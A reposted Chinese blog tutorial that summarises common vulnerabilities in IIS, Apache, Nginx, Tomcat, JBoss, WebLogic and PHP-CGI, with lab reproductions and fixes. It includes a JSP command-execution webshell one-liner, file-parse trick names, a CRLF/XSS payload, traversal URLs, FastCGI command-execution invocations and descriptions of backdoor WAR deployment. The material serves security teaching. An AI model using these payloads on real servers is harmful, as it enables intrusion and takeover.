Web中间件常见漏洞总结

一、IIS中间组件:

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

二、Apache中间组件:

1、解析漏洞

2、目录遍历

三、Nginx中间组件:

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

四、Tomcat中间组件:

1、远程代码执行

2、war后门文件部署

五、jBoss中间组件:

1、反序列化漏洞

2、war后门文件部署

六、WebLogic中间组件:

1、反序列化漏洞

2、SSRF

3、任意文件上传

4、war后门文件部署

七、其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

2、PHPCGI远程代码执行

一、IIS解析漏洞:

IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据.

PUT漏洞介绍及成因:

IIS Server在Web服务扩展中开启WebDAV ,配置了可以写入权限,造成任意文件上传,受影响版本:IIS6.0,漏洞复现:开启WebDAV和写入权限.

图片发自简书App

图片发自简书App

利用BurpSute测试:

BurpSute抓包,将GET请求改为OPTIONS.

图片发自简书App

利用桂林老兵写入权限:

图片发自简书App

成功上传,再上传一句话木马,然后用菜刀连接,获取getshell:

图片发自简书App

PUT漏洞修复:关闭WebDAV和写入权限.

二、短文件名猜解漏洞介绍及成因:

IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400,漏洞复现:在网站根目录下添加aaaaaaaaaa.html文件:

图片发自简书App

进行猜解:

图片发自简书App

图片发自简书App

漏洞修复:1.升级.net framework;2.修改注册表禁用短文件名功能;3.快捷键Win+R打开命令窗口,输入regedit打开注册表窗口,找到路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中NtfsDisable8dot3NameCreation这一项的值设为 1,1代表不创建短文件名格式,修改完成后,需要重启系统生效;4.CMD关闭NTFS 8.3文件格式支持;5.将web文件夹的内容拷贝到另一个位置,如c:\www到d:\w,然后删除原文件夹,再重命名d:\w到c:\www,如图:

图片发自简书App

三、远程代码执行漏洞介绍及成因:

在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行,漏洞复现:漏洞环境搭建:在Windows server 2003 r2 32位上安装iis6.0,触发漏洞:在本地执行exp,exp如下:

图片发自简书App

执行成功后,服务器端弹出计算器:

图片发自简书App

短文件名猜解漏洞漏洞修复:1.关闭WebDAV服务;2.使用相关防护设备.

四、解析漏洞介绍及成因:

IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞,漏洞有两种完全不同的利用方式:

/test.asp/test.jpg

test.asp;.jpg

漏洞复现:利用方式1:

第一种是新建名为 “test.asp”目录,该目录中的任何文件都被IIS当作asp程序执行,特殊符号是 “/”:

图片发自简书App

利用方式2:第二种是上传名为 “test.asp;.jpg” 的文件,虽然该文件真正的后缀名是 “.jpg”, 但由于含有特殊符号 “;” ,仍会被 IIS 当做asp程序执行:

图片发自简书App

IIS7.5 文件解析漏洞:

test.jpg/.php

注:URL中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 “cgi.fix_pathinfo”, 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径 “/aaa.xxx/bbb.yyy” 时,若 “/aaa.xxx/bbb.yyy” 不存在,则会去掉最后的 “bbb.yyy” ,然后判断 “/aaa.xxx” 是否存在,若存在,则把 “/aaa.xxx” 当作文件,若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 “test.jpg/.php” 交给 php , php 修理文件路径 “test.jpg/.php” 得到 ”test.jpg” ,该文件存在,便把该文件作为 php 程序执行。

文件解析漏洞修复:1.对新建目录文件名进行过滤,不允许新建包含‘.’的文件;2.曲线网站后台新建目录的功能,不允许新建目录;3.限制上传的脚本执行权限,不允许执行脚本;4.过滤.asp/xm.jpg,通过ISApi组件过滤

三、 Apache解析漏洞介绍及成因:

Apache文件解析漏洞与用户的配置有密切关系,严格来说属于用户配置问题。,Apache文件解析漏洞涉及到一个解析文件的特性:Apache默认一个文件可以有多个以点分隔的后缀,当右边的后缀无法识别,不在mime.tyoes内,则继续向左识别,当请求这样一个文件:shell.xxx.yyy

yyy->无法识别,向左

xxx->无法识别,向左

php->发现后缀是php,交给php处理这个文件,漏洞复现:上传一个后缀名为360的php文件:

图片发自简书App

Apache解析漏洞修复:将AddHandler application/x-httpd-php .php配置文件删除.

目录遍历漏洞介绍及成因:

由于配置错误导致的目录遍历,漏洞复现:

图片发自简书App

Apache目录遍历漏洞修复:

修改apache配置文件httpd.conf,找到Options+Indexes+FollowSymLinks +ExecCGI并修改成 Options-Indexes+FollowSymLinks +ExecCGI 并保存:

图片发自简书App

图片发自简书App

四、 Nginx文件解析漏洞介绍及成因:

对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析攻击,漏洞复现:在网站根目录下新建一个i.gif的文件,在里面写入phpinfo(),在浏览器中打开测试:

图片发自简书App

利用文件解析漏洞,输入192.168.139.129:100/i.gif.2.php,发现无法解析:

图片发自简书App

将/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php中.php删除:

图片发自简书App

再次在浏览器中打开,成功解析:

图片发自简书App

Nginx文件解析漏洞修复:1.将php.ini文件中的cgi.fix_pathinfo的值设为0.这样php在解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404;2.将/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions后面的值设为.php.

目录遍历漏洞简介及成因:

Nginx目录遍历与Apache一样,属于配置方面的问题,错误的配置可到导致目录遍历与源码泄露,漏洞复现:打开test目录,发现无法打开:

图片发自简书App

修改/etc/nginx/sites-avaliable/default,在如下图所示的位置添加autoindex on/:

图片发自简书App

再次访问:

图片发自简书App

Nginx目录漏洞修复:将/etc/nginx/sites-avaliable/default里的autoindex on改为autoindex off.

CRLF注入漏洞简介及成因:

CRLF时“回车+换行”(\r\n)键的简称,HTTP Header与HTTP Body时用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并显示出来,通过控制HTTP消息头中的字符,注入恶意换行,就能注入一些会话cookie或者html代码,由于Nginx配置不正确,导致注入的代码会被执行,漏洞复现:访问页面,Brup抓包,请求加上:/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>,由于页面重定向,并没有弹窗:

图片发自简书App

CRLF注入漏洞修复:Nginx的配置文件/etc/nginx/conf.d/error1.conf修改为使用不解码的url跳转.

五、目录穿越漏洞简介及成因:

Nginx反向代理,静态文件存储在/home/下,而访问时需要在url中输入files,配置文件中/files没有用/闭合,导致可以穿越至上层目录,漏洞复现,访问:http://192.168.139.128:8081/files/

图片发自简书App

目录穿越漏洞,访问:http://192.168.139.128:8081/files../,成功实现目录穿越:

图片发自简书App

目录穿越漏洞修复:Nginx配置文件/etc/nginx/conf.d/error2.conf的/files使用/闭合.

五、 Tomcat远程代码执行漏洞简介及成因:

Tomcat运行在Windows主机上,且启用了 HTTP PUT请求方法,可通过构造的攻击请求向服务器上传包含任意代码JSP文件,造成任意代码执行,受影响版本:Apache Tomcat 7.0.0 – 7.0.81,漏洞复现:配置漏洞,开启put方法可上传文件功能,Tomcat文件夹下的/conf/web.xml文件插入:

<init-param>

<param-name>readonly</param-name>

<param-value>false</param-value>

</init-param>

重启Tomcat服务:

图片发自简书App

注:访问127.0.0.1:8080,BurpSute抓包,send to Repeater选项重放模块,将请求方式改为PUT,创建一个122.jsp,并用%20转义空格字符,123.jsp代码:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

返回201,说明创建成功:

图片发自简书App

访问127.0.0.1:8080/122.jsp?cmd=calc,弹出计算器:

图片发自简书App

Tomcat远程代码执行漏洞修复:1.检测当前版本是否在影响范围内,并禁用PUT方法;2.更新并升级至最新版.

War后门文件部署漏洞简介及成因:

Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下,若后台管理页面存在弱口令,则可以通过爆破获取密码,漏洞复现:Tomcat安装目录conf.tomcat-users.xml配置如下:

图片发自简书App

访问后台,登陆:

图片发自简书App

上传一个war包jsp后门:

图片发自简书App

成功上传并解析,打开:

图片发自简书App

可执行系统命令:

图片发自简书App

漏洞修复:1.在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限,例如不允许远程登录;2.增加对于本地和基于证书的身份验证,部署账户锁定机制,对于集中式认证,目录服务也要做相应配置,在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制;3.以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制;4.后台管理避免弱口令.

六、 jBoss反序列化漏洞介绍及成因:

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现,漏洞复现:靶机启动jboss,攻击机访问靶机服务:

图片发自简书App

访问/invoker/readonly,返回500,说明页面存在,此页面有反序列化漏洞:

图片发自简书App

BrupSute抓包:

图片发自简书App

改包,修改POST payload.bin中数据:

图片发自简书App

图片发自简书App

查看靶机,弹出计算器:

图片发自简书App

漏洞修复:1.不需要http-invoker.sar 组件的用户可直接删除此组件;2.用于对httpinvoker组件进行访问控制.

War后门文件部署漏洞介绍及成因:

jBoss后台管理页面存在弱口令,通过爆破获得账号密码,登陆后台上传包含后门war包,漏洞复现:

图片发自简书App

图片发自简书App

点击Web Application(war)s:

图片发自简书App

点击add a new resource:

图片发自简书App

选择一个war包上传,上传后进入该war包,点击start:

图片发自简书App

查看status为sucessful:

图片发自简书App

访问该war包页面,进入后门,可进行文件管理和系统命令执行:

图片发自简书App

图片发自简书App

七、 WebLogic反序列化漏洞简介及成因:

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现,漏洞复现使用vulhub实验环境,启动实验环境,访问靶机,抓包,修改数据包:

图片发自简书App

Kali启动NC监听,发送数据包成功后,拿到shell:

图片发自简书App

WebLogic反序列化漏洞修复:1.升级Oracle 10月份补丁;2.对访问wls-wsat的资源进行访问控制.

SSRF漏洞简介及成因:

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件,漏洞复现,使用vulhub实验环境,启动环境,访问:http://192.168.139.129:7001/uddiexplorer/SearchPublicRegistries.jsp:

图片发自简书App

BurpSute抓包,修改请求:

图片发自简书App

启动NC监听2222端口拿到Shell:

图片发自简书App

SSRF漏洞修复:1.将SearchPublicRegistries.jsp直接删除;2.删除uddiexplorer文件夹、限制uddiexplorer应用只能内网访问;3.将weblogic安装目录wlserver_10.3/server/lib/uddiexplorer.war做好备份、将weblogic安装目录下的server/lib/uddiexplorer.war下载、用winrar等工具打开uddiexplorer.war、将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx、保存后上传回服务端替换原先的uddiexplorer.war、对于多台主机组成的集群,针对每台主机都要做这样的操作、由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用).

任意文件上传漏洞简介及成因:

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件,漏洞复现:打开访问链接:http://192.168.139.129:7001/ws_utc/config.do:

图片发自简书App

注:设置Work Home Dir为`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`,然后点击安全 -> 增加,然后上传jsp大马,获取WebShell:

图片发自简书App

上传后查看返回数据包,发现有时间戳:

图片发自简书App

可以看到时间戳为1543145154632,访问http://192.168.139.129:7001/ws_utc/css/config/keystore/1543145154632_lele.jsp,可以进行文件管理、文件上传、系统命令执行:

图片发自简书App

尝试以下执行系统命令:

图片发自简书App

任意文件上传漏洞修复:1.使用Oracle官方通告中补丁链接:http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html;https://support.oracle.com/rs?type=doc&id=2394520.1;2:进入Weblogic Server管理控制台,domain设置中,启用”生产模式” .

War后门文件部署漏洞简介及成因:

由于WebLogic后台存在弱口令,可直接登陆后台上传包含后门的war包,漏洞复现:访问http://192.168.139.129:7001/console

图片发自简书App

使用弱口令登陆至后台,点击锁定并编辑:

图片发自简书App

选择部署,进一步点击右边安装:

图片发自简书App

点击上传文件-进入文件上传界面,选择要上传的war包:

图片发自简书App

进入下一步,选择对应的war包进行部署,下一步下一步直至完成:

图片发自简书App

图片发自简书App

图片发自简书App

点击激活更改:

图片发自简书App

启动上传war包所生成的服务:

图片发自简书App

获取WebShell:

图片发自简书App

War后门文件部署漏洞修复:防火墙设置端口过滤,也可以设置只允许访问后台的IP列表,避免后台弱口令.

八、 FastCGI未授权访问、任意命令执行漏洞简介及成因:

服务端使用fastcgi协议并对外网开放9000端口,可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令,

漏洞复现:使用vulhub实验环境,启动实验环境,python fpm.py 192.168.237.136 /etc/passwd:

图片发自简书App

注:由于访问非*.PHP文件,所以返回结果403,使用命令执行一个默认存在PHP文件,命令:

python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php

图片发自简书App

利用命令进行任意命令执行复现:

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c ‘<?php echo `pwd`; ?>‘

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c ‘<?php echo `ifconfig`; ?>‘

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c ‘<?php echo `ls`; ?>‘

图片发自简书App

FastCGI未授权访问、任意命令执行漏洞修复:更改默认端口.

PHPCGI远程代码执行漏洞简介及成因:

在Apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行,此漏洞影响php-5.3.12以前的版本,mod方式、fpm方式不受影响.

漏洞复现:使用vulhub实验环境,启动环境,访问http://192.168.139.129:8080/index.php:

图片发自简书App

BrupSute抓包,修改包:

图片发自简书App

PHPCGI远程代码执行漏洞修复:1.升级php版本;2.在apache上做文章,开启url过滤,把危险的命令行参数给过滤掉,由于这种方法修补比较简单,具体方案:修改http.conf文件,找到<Directory/>增加以下三行

RewriteEngine on

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]

RewriteRule ^(.*) $1? [L]

注:重启Apache服务即可,但是要考虑到,相当于每次request就要进行一次url过滤,如果访问量大的话,可能会增加Apache服务负担.

3.打上PHP补丁,补丁下载地址:

https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/.

作者:强大技术
链接:https://www.jianshu.com/p/b8d95de87344
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

原文地址:https://www.cnblogs.com/wjw-zm/p/11802615.html

时间: 2024-07-29 16:05:24

Web中间件常见漏洞总结的相关文章

Web开发常见的几个漏洞解决方法

平时工作,多数是开发Web项目,由于一般是开发内部使用的业务系统,所以对于安全性一般不是看的很重,基本上由于是内网系统,一般也很少会受到攻击,但有时候一些系统平台,需要外网也要使用,这种情况下,各方面的安全性就要求比较高了,所以往往会交付给一些专门做安全测试的第三方机构进行测试,然后根据反馈的漏洞进行修复,如果你平常对于一些安全漏洞不够了解,那么反馈的结果往往是很残酷的,迫使你必须在很多细节上进行修复完善.本文主要根据本人项目的一些第三方安全测试结果,以及本人针对这些漏洞问题的修复方案,介绍在这

Android常见漏洞

Android常见漏洞 漏洞名称: Log敏感信息泄露 漏洞描述: 程序运行期间打印了用户的敏感信息,造成泄露 修改建议: 建议禁止隐私信息的log 漏洞名称: web https校验错误忽略漏洞 漏洞描述: 漏洞可导致中间人攻击 修改建议: 建议不要忽略ssl认证错误 漏洞名称: sql注入漏洞 漏洞描述: 漏洞可能导致用户数据库中的信息泄露或者篡改 修改建议: 建议使用安全sqlite,如sqlcipher 漏洞名称: https空校验漏洞 漏洞描述: 漏洞可导致中间人攻击 修改建议: se

网站常见漏洞的危害与解决方案

一.SQL注入漏洞 SQL注入漏洞的危害不仅体现在数据库层面,还有可能危及承载数据库的操作系统:如果SQL注入被用来挂马,还可能用来传播恶意软件等,这些危害包括但不限于: 1.数据库信息泄漏:数据库中存储的用户隐私信息泄露. 2.网页篡改:通过操作数据库对特定网页进行篡改. 3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击. 4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改. 5.服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支

asp.net初级 Web原则 xss漏洞

1.XSS (Cross-Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞.指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的, 比如获取用户的Cookie,导航到恶意网站,携带木马等. 2.     Dom-Based XSS漏洞       威胁用户个体 Stored XSS(存储式XSS漏洞)    威胁的将是大量的用户 3.asp中默认对请求对象的数据进行了校验,如果数据中含有潜在

android WebView详解,常见漏洞详解和安全源码

这篇博客主要来介绍 WebView 的相关使用方法,常见的几个漏洞,开发中可能遇到的坑和最后解决相应漏洞的源码,以及针对该源码的解析. 由于博客内容长度,这次将分为上下两篇,上篇详解 WebView 的使用,下篇讲述 WebView 的漏洞和坑,以及修复源码的解析. 下篇:android WebView详解,常见漏洞详解和安全源码(下) 转载请注明出处:http://blog.csdn.net/self_study/article/details/54928371. 对技术感兴趣的同鞋加群 54

Windows XP与Windows 7系统常见漏洞

1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞.RDP漏洞.VM漏洞.热键漏洞.账号快速切换漏洞等. (1)UPNP服务漏洞 漏洞描述:允许攻击者执行任意指令. Windows XP默认启动的UPNP服务存在严重安全漏洞.UPNP(Universal Plug and Play)体系面向无线设备.PC和智能应用,提供普遍的对等网络连接,在家用信

android WebView详解,常见漏洞详解和安全源码(下)

上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑. 上篇:android WebView详解,常见漏洞详解和安全源码(上) 转载请注明出处:http://blog.csdn.net/self_study/article/details/55046348 对技术感兴趣的同鞋加群 544645972 一起交流. WebView 常见漏洞 WebView 的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞,知会一下我-- WebView

服务器系统及软件常见漏洞

服务器系统及软件常见漏洞 漏洞名称 允许Traceroute探测 远端WWW服务支持TRACE请求 远端WWW服务提供了对WebDAV的支持 远端WEB服务器上存在/robots.txt文件 远端VNC服务正在运行 远端HTTP服务器类型和版本信息泄漏 远端DNS服务允许递归查询 远程代理服务器允许连接任意端口 远程代理服务器接受POST请求 远程VNC HTTP服务正在运行 利用SMB会话可以获取远程域或工作组列表 利用SMB会话可以获取远程浏览列表 利用SMB会话可以获取远程共享列表 利用S

用PHP语言做网站常见漏洞有哪些?

第一:SQL注入漏洞 在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等.黑客可以根据恶意程序返回的结果获取相应的信息.这就是所谓的SQL注入漏洞. sql注入地步骤: a)  寻找注入点(如:登录界面.留言板等) b)  用户自己构造sql语句(如:’ or 1=1#,后面会讲解) c)  将sql语句发送给数据库管理系统(dbms) d)  dbms接收请求,并将该请求解释成机器代码指令,执行必要地存取操作 e)  dbms接